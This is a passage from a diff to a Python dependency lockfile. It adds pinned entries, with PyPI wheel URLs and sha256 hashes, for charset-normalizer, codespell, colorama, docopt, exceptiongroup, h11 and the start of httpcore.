"sha256:b35b200d6a71b9839a46b9b7fff66b6638bb52fc9658aa58796b0326595d3021", size = 206951, upload-time = "2026-03-15T18:50:44.789Z" }, + { url = "https://files.pythonhosted.org/packages/32/73/c0b86f3d1458468e11aec870e6b3feac931facbe105a894b552b0e518e79/charset_normalizer-3.4.6-cp311-cp311-win32.whl", hash = "sha256:9ca4c0b502ab399ef89248a2c84c54954f77a070f28e546a85e91da627d1301e", size = 143703, upload-time = "2026-03-15T18:50:46.103Z" }, + { url = "https://files.pythonhosted.org/packages/c6/e3/76f2facfe8eddee0bbd38d2594e709033338eae44ebf1738bcefe0a06185/charset_normalizer-3.4.6-cp311-cp311-win_amd64.whl", hash = "sha256:a9e68c9d88823b274cf1e72f28cb5dc89c990edf430b0bfd3e2fb0785bfeabf4", size = 153857, upload-time = "2026-03-15T18:50:47.563Z" }, + { url = "https://files.pythonhosted.org/packages/e2/dc/9abe19c9b27e6cd3636036b9d1b387b78c40dedbf0b47f9366737684b4b0/charset_normalizer-3.4.6-cp311-cp311-win_arm64.whl", hash = "sha256:97d0235baafca5f2b09cf332cc275f021e694e8362c6bb9c96fc9a0eb74fc316", size = 142751, upload-time = "2026-03-15T18:50:49.234Z" }, + { url = "https://files.pythonhosted.org/packages/e5/62/c0815c992c9545347aeea7859b50dc9044d147e2e7278329c6e02ac9a616/charset_normalizer-3.4.6-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:2ef7fedc7a6ecbe99969cd09632516738a97eeb8bd7258bf8a0f23114c057dab", size = 295154, upload-time = "2026-03-15T18:50:50.88Z" }, + { url = "https://files.pythonhosted.org/packages/a8/37/bdca6613c2e3c58c7421891d80cc3efa1d32e882f7c4a7ee6039c3fc951a/charset_normalizer-3.4.6-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a4ea868bc28109052790eb2b52a9ab33f3aa7adc02f96673526ff47419490e21", size = 199191, upload-time = "2026-03-15T18:50:52.658Z" }, + { url = "https://files.pythonhosted.org/packages/6c/92/9934d1bbd69f7f398b38c5dae1cbf9cc672e7c34a4adf7b17c0a9c17d15d/charset_normalizer-3.4.6-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:836ab36280f21fc1a03c99cd05c6b7af70d2697e374c7af0b61ed271401a72a2", size = 218674, upload-time = "2026-03-15T18:50:54.102Z" }, + { url = "https://files.pythonhosted.org/packages/af/90/25f6ab406659286be929fd89ab0e78e38aa183fc374e03aa3c12d730af8a/charset_normalizer-3.4.6-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f1ce721c8a7dfec21fcbdfe04e8f68174183cf4e8188e0645e92aa23985c57ff", size = 215259, upload-time = "2026-03-15T18:50:55.616Z" }, + { url = "https://files.pythonhosted.org/packages/4e/ef/79a463eb0fff7f96afa04c1d4c51f8fc85426f918db467854bfb6a569ce3/charset_normalizer-3.4.6-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e28d62a8fc7a1fa411c43bd65e346f3bce9716dc51b897fbe930c5987b402d5", size = 207276, upload-time = "2026-03-15T18:50:57.054Z" }, + { url = "https://files.pythonhosted.org/packages/f7/72/d0426afec4b71dc159fa6b4e68f868cd5a3ecd918fec5813a15d292a7d10/charset_normalizer-3.4.6-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:530d548084c4a9f7a16ed4a294d459b4f229db50df689bfe92027452452943a0", size = 195161, upload-time = "2026-03-15T18:50:58.686Z" }, + { url = "https://files.pythonhosted.org/packages/bf/18/c82b06a68bfcb6ce55e508225d210c7e6a4ea122bfc0748892f3dc4e8e11/charset_normalizer-3.4.6-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:30f445ae60aad5e1f8bdbb3108e39f6fbc09f4ea16c815c66578878325f8f15a", size = 203452, upload-time = "2026-03-15T18:51:00.196Z" }, + { url = "https://files.pythonhosted.org/packages/44/d6/0c25979b92f8adafdbb946160348d8d44aa60ce99afdc27df524379875cb/charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:ac2393c73378fea4e52aa56285a3d64be50f1a12395afef9cce47772f60334c2", size = 202272, upload-time = "2026-03-15T18:51:01.703Z" }, + { url = "https://files.pythonhosted.org/packages/2e/3d/7fea3e8fe84136bebbac715dd1221cc25c173c57a699c030ab9b8900cbb7/charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:90ca27cd8da8118b18a52d5f547859cc1f8354a00cd1e8e5120df3e30d6279e5", size = 195622, upload-time = "2026-03-15T18:51:03.526Z" }, + { url = "https://files.pythonhosted.org/packages/57/8a/d6f7fd5cb96c58ef2f681424fbca01264461336d2a7fc875e4446b1f1346/charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:8e5a94886bedca0f9b78fecd6afb6629142fd2605aa70a125d49f4edc6037ee6", size = 220056, upload-time = "2026-03-15T18:51:05.269Z" }, + { url = "https://files.pythonhosted.org/packages/16/50/478cdda782c8c9c3fb5da3cc72dd7f331f031e7f1363a893cdd6ca0f8de0/charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:695f5c2823691a25f17bc5d5ffe79fa90972cc34b002ac6c843bb8a1720e950d", size = 203751, upload-time = "2026-03-15T18:51:06.858Z" }, + { url = "https://files.pythonhosted.org/packages/75/fc/cc2fcac943939c8e4d8791abfa139f685e5150cae9f94b60f12520feaa9b/charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:231d4da14bcd9301310faf492051bee27df11f2bc7549bc0bb41fef11b82daa2", size = 216563, upload-time = "2026-03-15T18:51:08.564Z" }, + { url = "https://files.pythonhosted.org/packages/a8/b7/a4add1d9a5f68f3d037261aecca83abdb0ab15960a3591d340e829b37298/charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a056d1ad2633548ca18ffa2f85c202cfb48b68615129143915b8dc72a806a923", size = 209265, upload-time = "2026-03-15T18:51:10.312Z" }, + { url = "https://files.pythonhosted.org/packages/6c/18/c094561b5d64a24277707698e54b7f67bd17a4f857bbfbb1072bba07c8bf/charset_normalizer-3.4.6-cp312-cp312-win32.whl", hash = "sha256:c2274ca724536f173122f36c98ce188fd24ce3dad886ec2b7af859518ce008a4", size = 144229, upload-time = "2026-03-15T18:51:11.694Z" }, + { url = "https://files.pythonhosted.org/packages/ab/20/0567efb3a8fd481b8f34f739ebddc098ed062a59fed41a8d193a61939e8f/charset_normalizer-3.4.6-cp312-cp312-win_amd64.whl", hash = "sha256:c8ae56368f8cc97c7e40a7ee18e1cedaf8e780cd8bc5ed5ac8b81f238614facb", size = 154277, upload-time = "2026-03-15T18:51:13.004Z" }, + { url = "https://files.pythonhosted.org/packages/15/57/28d79b44b51933119e21f65479d0864a8d5893e494cf5daab15df0247c17/charset_normalizer-3.4.6-cp312-cp312-win_arm64.whl", hash = "sha256:899d28f422116b08be5118ef350c292b36fc15ec2daeb9ea987c89281c7bb5c4", size = 142817, upload-time = "2026-03-15T18:51:14.408Z" }, + { url = "https://files.pythonhosted.org/packages/1e/1d/4fdabeef4e231153b6ed7567602f3b68265ec4e5b76d6024cf647d43d981/charset_normalizer-3.4.6-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:11afb56037cbc4b1555a34dd69151e8e069bee82e613a73bef6e714ce733585f", size = 294823, upload-time = "2026-03-15T18:51:15.755Z" }, + { url = "https://files.pythonhosted.org/packages/47/7b/20e809b89c69d37be748d98e84dce6820bf663cf19cf6b942c951a3e8f41/charset_normalizer-3.4.6-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:423fb7e748a08f854a08a222b983f4df1912b1daedce51a72bd24fe8f26a1843", size = 198527, upload-time = "2026-03-15T18:51:17.177Z" }, + { url = "https://files.pythonhosted.org/packages/37/a6/4f8d27527d59c039dce6f7622593cdcd3d70a8504d87d09eb11e9fdc6062/charset_normalizer-3.4.6-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d73beaac5e90173ac3deb9928a74763a6d230f494e4bfb422c217a0ad8e629bf", size = 218388, upload-time = "2026-03-15T18:51:18.934Z" }, + { url = "https://files.pythonhosted.org/packages/f6/9b/4770ccb3e491a9bacf1c46cc8b812214fe367c86a96353ccc6daf87b01ec/charset_normalizer-3.4.6-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d60377dce4511655582e300dc1e5a5f24ba0cb229005a1d5c8d0cb72bb758ab8", size = 214563, upload-time = "2026-03-15T18:51:20.374Z" }, + { url = "https://files.pythonhosted.org/packages/2b/58/a199d245894b12db0b957d627516c78e055adc3a0d978bc7f65ddaf7c399/charset_normalizer-3.4.6-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:530e8cebeea0d76bdcf93357aa5e41336f48c3dc709ac52da2bb167c5b8271d9", size = 206587, upload-time = "2026-03-15T18:51:21.807Z" }, + { url = "https://files.pythonhosted.org/packages/7e/70/3def227f1ec56f5c69dfc8392b8bd63b11a18ca8178d9211d7cc5e5e4f27/charset_normalizer-3.4.6-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:a26611d9987b230566f24a0a125f17fe0de6a6aff9f25c9f564aaa2721a5fb88", size = 194724, upload-time = "2026-03-15T18:51:23.508Z" }, + { url = "https://files.pythonhosted.org/packages/58/ab/9318352e220c05efd31c2779a23b50969dc94b985a2efa643ed9077bfca5/charset_normalizer-3.4.6-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:34315ff4fc374b285ad7f4a0bf7dcbfe769e1b104230d40f49f700d4ab6bbd84", size = 202956, upload-time = "2026-03-15T18:51:25.239Z" }, + { url = "https://files.pythonhosted.org/packages/75/13/f3550a3ac25b70f87ac98c40d3199a8503676c2f1620efbf8d42095cfc40/charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:5f8ddd609f9e1af8c7bd6e2aca279c931aefecd148a14402d4e368f3171769fd", size = 201923, upload-time = "2026-03-15T18:51:26.682Z" }, + { url = "https://files.pythonhosted.org/packages/1b/db/c5c643b912740b45e8eec21de1bbab8e7fc085944d37e1e709d3dcd9d72f/charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:80d0a5615143c0b3225e5e3ef22c8d5d51f3f72ce0ea6fb84c943546c7b25b6c", size = 195366, upload-time = "2026-03-15T18:51:28.129Z" }, + { url = "https://files.pythonhosted.org/packages/5a/67/3b1c62744f9b2448443e0eb160d8b001c849ec3fef591e012eda6484787c/charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:92734d4d8d187a354a556626c221cd1a892a4e0802ccb2af432a1d85ec012194", size = 219752, upload-time = "2026-03-15T18:51:29.556Z" }, + { url = "https://files.pythonhosted.org/packages/f6/98/32ffbaf7f0366ffb0445930b87d103f6b406bc2c271563644bde8a2b1093/charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:613f19aa6e082cf96e17e3ffd89383343d0d589abda756b7764cf78361fd41dc", size = 203296, upload-time = "2026-03-15T18:51:30.921Z" }, + { url = "https://files.pythonhosted.org/packages/41/12/5d308c1bbe60cabb0c5ef511574a647067e2a1f631bc8634fcafaccd8293/charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:2b1a63e8224e401cafe7739f77efd3f9e7f5f2026bda4aead8e59afab537784f", size = 215956, upload-time = "2026-03-15T18:51:32.399Z" }, + { url = "https://files.pythonhosted.org/packages/53/e9/5f85f6c5e20669dbe56b165c67b0260547dea97dba7e187938833d791687/charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6cceb5473417d28edd20c6c984ab6fee6c6267d38d906823ebfe20b03d607dc2", size = 208652, upload-time = "2026-03-15T18:51:34.214Z" }, + { url = "https://files.pythonhosted.org/packages/f1/11/897052ea6af56df3eef3ca94edafee410ca699ca0c7b87960ad19932c55e/charset_normalizer-3.4.6-cp313-cp313-win32.whl", hash = "sha256:d7de2637729c67d67cf87614b566626057e95c303bc0a55ffe391f5205e7003d", size = 143940, upload-time = "2026-03-15T18:51:36.15Z" }, + { url = "https://files.pythonhosted.org/packages/a1/5c/724b6b363603e419829f561c854b87ed7c7e31231a7908708ac086cdf3e2/charset_normalizer-3.4.6-cp313-cp313-win_amd64.whl", hash = "sha256:572d7c822caf521f0525ba1bce1a622a0b85cf47ffbdae6c9c19e3b5ac3c4389", size = 154101, upload-time = "2026-03-15T18:51:37.876Z" }, + { url = "https://files.pythonhosted.org/packages/01/a5/7abf15b4c0968e47020f9ca0935fb3274deb87cb288cd187cad92e8cdffd/charset_normalizer-3.4.6-cp313-cp313-win_arm64.whl", hash = "sha256:a4474d924a47185a06411e0064b803c68be044be2d60e50e8bddcc2649957c1f", size = 143109, upload-time = "2026-03-15T18:51:39.565Z" }, + { url = "https://files.pythonhosted.org/packages/25/6f/ffe1e1259f384594063ea1869bfb6be5cdb8bc81020fc36c3636bc8302a1/charset_normalizer-3.4.6-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:9cc6e6d9e571d2f863fa77700701dae73ed5f78881efc8b3f9a4398772ff53e8", size = 294458, upload-time = "2026-03-15T18:51:41.134Z" }, + { url = "https://files.pythonhosted.org/packages/56/60/09bb6c13a8c1016c2ed5c6a6488e4ffef506461aa5161662bd7636936fb1/charset_normalizer-3.4.6-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ef5960d965e67165d75b7c7ffc60a83ec5abfc5c11b764ec13ea54fbef8b4421", size = 199277, upload-time = "2026-03-15T18:51:42.953Z" }, + { url = "https://files.pythonhosted.org/packages/00/50/dcfbb72a5138bbefdc3332e8d81a23494bf67998b4b100703fd15fa52d81/charset_normalizer-3.4.6-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b3694e3f87f8ac7ce279d4355645b3c878d24d1424581b46282f24b92f5a4ae2", size = 218758, upload-time = "2026-03-15T18:51:44.339Z" }, + { url = "https://files.pythonhosted.org/packages/03/b3/d79a9a191bb75f5aa81f3aaaa387ef29ce7cb7a9e5074ba8ea095cc073c2/charset_normalizer-3.4.6-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5d11595abf8dd942a77883a39d81433739b287b6aa71620f15164f8096221b30", size = 215299, upload-time = "2026-03-15T18:51:45.871Z" }, + { url = "https://files.pythonhosted.org/packages/76/7e/bc8911719f7084f72fd545f647601ea3532363927f807d296a8c88a62c0d/charset_normalizer-3.4.6-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7bda6eebafd42133efdca535b04ccb338ab29467b3f7bf79569883676fc628db", size = 206811, upload-time = "2026-03-15T18:51:47.308Z" }, + { url = "https://files.pythonhosted.org/packages/e2/40/c430b969d41dda0c465aa36cc7c2c068afb67177bef50905ac371b28ccc7/charset_normalizer-3.4.6-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:bbc8c8650c6e51041ad1be191742b8b421d05bbd3410f43fa2a00c8db87678e8", size = 193706, upload-time = "2026-03-15T18:51:48.849Z" }, + { url = "https://files.pythonhosted.org/packages/48/15/e35e0590af254f7df984de1323640ef375df5761f615b6225ba8deb9799a/charset_normalizer-3.4.6-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:22c6f0c2fbc31e76c3b8a86fba1a56eda6166e238c29cdd3d14befdb4a4e4815", size = 202706, upload-time = "2026-03-15T18:51:50.257Z" }, + { url = "https://files.pythonhosted.org/packages/5e/bd/f736f7b9cc5e93a18b794a50346bb16fbfd6b37f99e8f306f7951d27c17c/charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7edbed096e4a4798710ed6bc75dcaa2a21b68b6c356553ac4823c3658d53743a", size = 202497, upload-time = "2026-03-15T18:51:52.012Z" }, + { url = "https://files.pythonhosted.org/packages/9d/ba/2cc9e3e7dfdf7760a6ed8da7446d22536f3d0ce114ac63dee2a5a3599e62/charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:7f9019c9cb613f084481bd6a100b12e1547cf2efe362d873c2e31e4035a6fa43", size = 193511, upload-time = "2026-03-15T18:51:53.723Z" }, + { url = "https://files.pythonhosted.org/packages/9e/cb/5be49b5f776e5613be07298c80e1b02a2d900f7a7de807230595c85a8b2e/charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:58c948d0d086229efc484fe2f30c2d382c86720f55cd9bc33591774348ad44e0", size = 220133, upload-time = "2026-03-15T18:51:55.333Z" }, + { url = "https://files.pythonhosted.org/packages/83/43/99f1b5dad345accb322c80c7821071554f791a95ee50c1c90041c157ae99/charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:419a9d91bd238052642a51938af8ac05da5b3343becde08d5cdeab9046df9ee1", size = 203035, upload-time = "2026-03-15T18:51:56.736Z" }, + { url = "https://files.pythonhosted.org/packages/87/9a/62c2cb6a531483b55dddff1a68b3d891a8b498f3ca555fbcf2978e804d9d/charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:5273b9f0b5835ff0350c0828faea623c68bfa65b792720c453e22b25cc72930f", size = 216321, upload-time = "2026-03-15T18:51:58.17Z" }, + { url = "https://files.pythonhosted.org/packages/6e/79/94a010ff81e3aec7c293eb82c28f930918e517bc144c9906a060844462eb/charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:0e901eb1049fdb80f5bd11ed5ea1e498ec423102f7a9b9e4645d5b8204ff2815", size = 208973, upload-time = "2026-03-15T18:51:59.998Z" }, + { url = "https://files.pythonhosted.org/packages/2a/57/4ecff6d4ec8585342f0c71bc03efaa99cb7468f7c91a57b105bcd561cea8/charset_normalizer-3.4.6-cp314-cp314-win32.whl", hash = "sha256:b4ff1d35e8c5bd078be89349b6f3a845128e685e751b6ea1169cf2160b344c4d", size = 144610, upload-time = "2026-03-15T18:52:02.213Z" }, + { url = "https://files.pythonhosted.org/packages/80/94/8434a02d9d7f168c25767c64671fead8d599744a05d6a6c877144c754246/charset_normalizer-3.4.6-cp314-cp314-win_amd64.whl", hash = "sha256:74119174722c4349af9708993118581686f343adc1c8c9c007d59be90d077f3f", size = 154962, upload-time = "2026-03-15T18:52:03.658Z" }, + { url = "https://files.pythonhosted.org/packages/46/4c/48f2cdbfd923026503dfd67ccea45c94fd8fe988d9056b468579c66ed62b/charset_normalizer-3.4.6-cp314-cp314-win_arm64.whl", hash = "sha256:e5bcc1a1ae744e0bb59641171ae53743760130600da8db48cbb6e4918e186e4e", size = 143595, upload-time = "2026-03-15T18:52:05.123Z" }, + { url = "https://files.pythonhosted.org/packages/31/93/8878be7569f87b14f1d52032946131bcb6ebbd8af3e20446bc04053dc3f1/charset_normalizer-3.4.6-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:ad8faf8df23f0378c6d527d8b0b15ea4a2e23c89376877c598c4870d1b2c7866", size = 314828, upload-time = "2026-03-15T18:52:06.831Z" }, + { url = "https://files.pythonhosted.org/packages/06/b6/fae511ca98aac69ecc35cde828b0a3d146325dd03d99655ad38fc2cc3293/charset_normalizer-3.4.6-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f5ea69428fa1b49573eef0cc44a1d43bebd45ad0c611eb7d7eac760c7ae771bc", size = 208138, upload-time = "2026-03-15T18:52:08.239Z" }, + { url = "https://files.pythonhosted.org/packages/54/57/64caf6e1bf07274a1e0b7c160a55ee9e8c9ec32c46846ce59b9c333f7008/charset_normalizer-3.4.6-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:06a7e86163334edfc5d20fe104db92fcd666e5a5df0977cb5680a506fe26cc8e", size = 224679, upload-time = "2026-03-15T18:52:10.043Z" }, + { url = "https://files.pythonhosted.org/packages/aa/cb/9ff5a25b9273ef160861b41f6937f86fae18b0792fe0a8e75e06acb08f1d/charset_normalizer-3.4.6-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:e1f6e2f00a6b8edb562826e4632e26d063ac10307e80f7461f7de3ad8ef3f077", size = 223475, upload-time = "2026-03-15T18:52:11.854Z" }, + { url = "https://files.pythonhosted.org/packages/fc/97/440635fc093b8d7347502a377031f9605a1039c958f3cd18dcacffb37743/charset_normalizer-3.4.6-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:95b52c68d64c1878818687a473a10547b3292e82b6f6fe483808fb1468e2f52f", size = 215230, upload-time = "2026-03-15T18:52:13.325Z" }, + { url = "https://files.pythonhosted.org/packages/cd/24/afff630feb571a13f07c8539fbb502d2ab494019492aaffc78ef41f1d1d0/charset_normalizer-3.4.6-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:7504e9b7dc05f99a9bbb4525c67a2c155073b44d720470a148b34166a69c054e", size = 199045, upload-time = "2026-03-15T18:52:14.752Z" }, + { url = "https://files.pythonhosted.org/packages/e5/17/d1399ecdaf7e0498c327433e7eefdd862b41236a7e484355b8e0e5ebd64b/charset_normalizer-3.4.6-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:172985e4ff804a7ad08eebec0a1640ece87ba5041d565fff23c8f99c1f389484", size = 211658, upload-time = "2026-03-15T18:52:16.278Z" }, + { url = "https://files.pythonhosted.org/packages/b5/38/16baa0affb957b3d880e5ac2144caf3f9d7de7bc4a91842e447fbb5e8b67/charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:4be9f4830ba8741527693848403e2c457c16e499100963ec711b1c6f2049b7c7", size = 210769, upload-time = "2026-03-15T18:52:17.782Z" }, + { url = "https://files.pythonhosted.org/packages/05/34/c531bc6ac4c21da9ddfddb3107be2287188b3ea4b53b70fc58f2a77ac8d8/charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:79090741d842f564b1b2827c0b82d846405b744d31e84f18d7a7b41c20e473ff", size = 201328, upload-time = "2026-03-15T18:52:19.553Z" }, + { url = "https://files.pythonhosted.org/packages/fa/73/a5a1e9ca5f234519c1953608a03fe109c306b97fdfb25f09182babad51a7/charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:87725cfb1a4f1f8c2fc9890ae2f42094120f4b44db9360be5d99a4c6b0e03a9e", size = 225302, upload-time = "2026-03-15T18:52:21.043Z" }, + { url = "https://files.pythonhosted.org/packages/ba/f6/cd782923d112d296294dea4bcc7af5a7ae0f86ab79f8fefbda5526b6cfc0/charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:fcce033e4021347d80ed9c66dcf1e7b1546319834b74445f561d2e2221de5659", size = 211127, upload-time = "2026-03-15T18:52:22.491Z" }, + { url = "https://files.pythonhosted.org/packages/0e/c5/0b6898950627af7d6103a449b22320372c24c6feda91aa24e201a478d161/charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:ca0276464d148c72defa8bb4390cce01b4a0e425f3b50d1435aa6d7a18107602", size = 222840, upload-time = "2026-03-15T18:52:24.113Z" }, + { url = "https://files.pythonhosted.org/packages/7d/25/c4bba773bef442cbdc06111d40daa3de5050a676fa26e85090fc54dd12f0/charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:197c1a244a274bb016dd8b79204850144ef77fe81c5b797dc389327adb552407", size = 216890, upload-time = "2026-03-15T18:52:25.541Z" }, + { url = "https://files.pythonhosted.org/packages/35/1a/05dacadb0978da72ee287b0143097db12f2e7e8d3ffc4647da07a383b0b7/charset_normalizer-3.4.6-cp314-cp314t-win32.whl", hash = "sha256:2a24157fa36980478dd1770b585c0f30d19e18f4fb0c47c13aa568f871718579", size = 155379, upload-time = "2026-03-15T18:52:27.05Z" }, + { url = "https://files.pythonhosted.org/packages/5d/7a/d269d834cb3a76291651256f3b9a5945e81d0a49ab9f4a498964e83c0416/charset_normalizer-3.4.6-cp314-cp314t-win_amd64.whl", hash = "sha256:cd5e2801c89992ed8c0a3f0293ae83c159a60d9a5d685005383ef4caca77f2c4", size = 169043, upload-time = "2026-03-15T18:52:28.502Z" }, + { url = "https://files.pythonhosted.org/packages/23/06/28b29fba521a37a8932c6a84192175c34d49f84a6d4773fa63d05f9aff22/charset_normalizer-3.4.6-cp314-cp314t-win_arm64.whl", hash = "sha256:47955475ac79cc504ef2704b192364e51d0d473ad452caedd0002605f780101c", size = 148523, upload-time = "2026-03-15T18:52:29.956Z" }, + { url = "https://files.pythonhosted.org/packages/2a/68/687187c7e26cb24ccbd88e5069f5ef00eba804d36dde11d99aad0838ab45/charset_normalizer-3.4.6-py3-none-any.whl", hash = "sha256:947cf925bc916d90adba35a64c82aace04fa39b46b52d4630ece166655905a69", size = 61455, upload-time = "2026-03-15T18:53:23.833Z" }, +] + +[[package]] +name = "codespell" +version = "2.4.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/2d/9d/1d0903dff693160f893ca6abcabad545088e7a2ee0a6deae7c24e958be69/codespell-2.4.2.tar.gz", hash = "sha256:3c33be9ae34543807f088aeb4832dfad8cb2dae38da61cac0a7045dd376cfdf3", size = 352058, upload-time = "2026-03-05T18:10:42.936Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/42/a1/52fa05533e95fe45bcc09bcf8a503874b1c08f221a4e35608017e0938f55/codespell-2.4.2-py3-none-any.whl", hash = "sha256:97e0c1060cf46bd1d5db89a936c98db8c2b804e1fdd4b5c645e82a1ec6b1f886", size = 353715, upload-time = "2026-03-05T18:10:41.398Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "docopt" +version = "0.6.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a2/55/8f8cab2afd404cf578136ef2cc5dfb50baa1761b68c9da1fb1e4eed343c9/docopt-0.6.2.tar.gz", hash = "sha256:49b3a825280bd66b3aa83585ef59c4a8c82f2c8a522dbe754a8bc8d08c85c491", size = 25901, upload-time = "2014-06-16T11:18:57.406Z" } + +[[package]] +name = "exceptiongroup" +version = "1.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" }, +] + +[[package]] +name = "h11" +version = "0.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" }, +] + +[[package]] +name = "httpcore" +version = "1.0.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name 